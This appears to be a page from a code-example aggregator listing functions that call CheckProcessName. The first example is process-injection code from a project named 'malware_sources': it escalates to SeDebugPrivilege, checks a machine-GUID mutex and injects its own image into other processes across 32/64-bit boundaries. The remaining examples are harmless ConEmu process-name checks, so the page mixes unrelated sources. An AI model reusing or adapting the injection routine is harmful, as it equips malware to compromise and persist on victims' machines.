コード例 #1
0
ファイル: inject.cpp プロジェクト: CaineQT/malware_sources
BOOLEAN Inject::InjectProcess(DWORD ProcessId, HANDLE ThreadHandle)
{   
	BOOLEAN Result = FALSE;
	HANDLE ProcessHandle;
	PVOID ImageBase;
	DWORD ImageSize;

	// Если процесс не инжекчен
	if (Utils::CheckMutex(ProcessId, Drop::GetMachineGuid()))
	{
		ProcessHandle = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD, FALSE, ProcessId);
		if (!ProcessHandle)
		{
			Utils::SetPrivilege("SeDebugPrivilege", TRUE);
			ProcessHandle = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD, FALSE, ProcessId);
		}
		if (ProcessHandle)
		{
			// Проверяем имя процесса
			if (CheckProcessName(ProcessHandle))
			{
#ifdef _WIN64
				// Если мы 64 а трагет процесс 32, конвертируем себя в 32 и инжектим
				if (Utils::IsWow64(ProcessHandle))
#else
				// Если мы 32 а а тарегт процесс 64, конвертируем себя в 64 и инжектим
				if (Utils::IsWow64(NtCurrentProcess()) && !Utils::IsWow64(ProcessHandle))
#endif
				{
					// Конвертируем себя из 32 в 64 либо из 64 в 32, если первый запуск и инжект (32 в 64) нужно прогрузить секции 64 по вирутальным адресам
					if (SecCfg::GetImageFromImage(Drop::CurrentImageBase, &ImageBase, &ImageSize, Drop::bFirstImageLoad))
					{
						Result = InjectImageToProcess(ProcessHandle, ImageBase, ImageSize, ThreadHandle);

						VirtualFree(ImageBase, 0, MEM_RELEASE);
					}
				}
				// Если мы 64 и таргет 64 или мы 32 и таргет 32 инжектим себя
				else
				{
					Result = InjectImageToProcess(ProcessHandle, Drop::CurrentImageBase, Drop::CurrentImageSize, ThreadHandle);
				}
			}

			CloseHandle(ProcessHandle);
		}
		else
		{
			DbgMsg(__FUNCTION__"(): OpenProcess failed: %08X\r\n", GetLastError());
		}
	}
	else
	{
		DbgMsg(__FUNCTION__"(): Process already injected\r\n");
	}

	return Result;
}
コード例 #2
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsTerminalServer(LPCWSTR pszProcessName)
{
	LPCWSTR lsNames[] = {
		L"conemu-cyg-32.exe", L"conemu-cyg-64.exe",
		L"conemu-msys-32.exe",
		L"conemu-msys2-32.exe", L"conemu-msys2-64.exe",
		NULL};
	return CheckProcessName(pszProcessName, lsNames);
}
コード例 #3
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsCmdProcessor(LPCWSTR asModuleName)
{
	LPCWSTR lsNameExt[] = {L"cmd.exe", L"tcc.exe", NULL};
	return CheckProcessName(asModuleName, lsNameExt);
}
コード例 #4
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsFarExe(LPCWSTR asModuleName)
{
	LPCWSTR lsNameExt[] = {L"far.exe", L"far64.exe", NULL};
	return CheckProcessName(asModuleName, lsNameExt);
}
コード例 #5
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsGitBashHelper(LPCWSTR pszProcessName)
{
	LPCWSTR lsNameExt[] = { L"git-bash.exe", L"git-cmd.exe", NULL };
	return CheckProcessName(pszProcessName, lsNameExt);
}
コード例 #6
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsConsoleServer(LPCWSTR pszProcessName)
{
	LPCWSTR lsNameExt[] = {L"ConEmuC.exe", L"ConEmuC64.exe", NULL};
	return CheckProcessName(pszProcessName, lsNameExt);
}
コード例 #7
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsConEmuGui(LPCWSTR pszProcessName)
{
	LPCWSTR lsNameExt[] = {L"ConEmu.exe", L"ConEmu64.exe", NULL};
	return CheckProcessName(pszProcessName, lsNameExt);
}
コード例 #8
0
ファイル: CmdLine.cpp プロジェクト: DreamersStudio/ConEmu
bool IsConsoleService(LPCWSTR pszProcessName)
{
	LPCWSTR lsNameExt[] = {L"csrss.exe", L"conhost.exe", NULL};
	return CheckProcessName(pszProcessName, lsNameExt);
}
コード例 #9
0
ファイル: CmdLine.cpp プロジェクト: Maximus5/ConEmu
bool IsSshAgentHelper(LPCWSTR pszProcessName)
{
	LPCWSTR lsNameExt[] = { L"ssh-agent.exe", NULL };
	return CheckProcessName(pszProcessName, lsNameExt);
}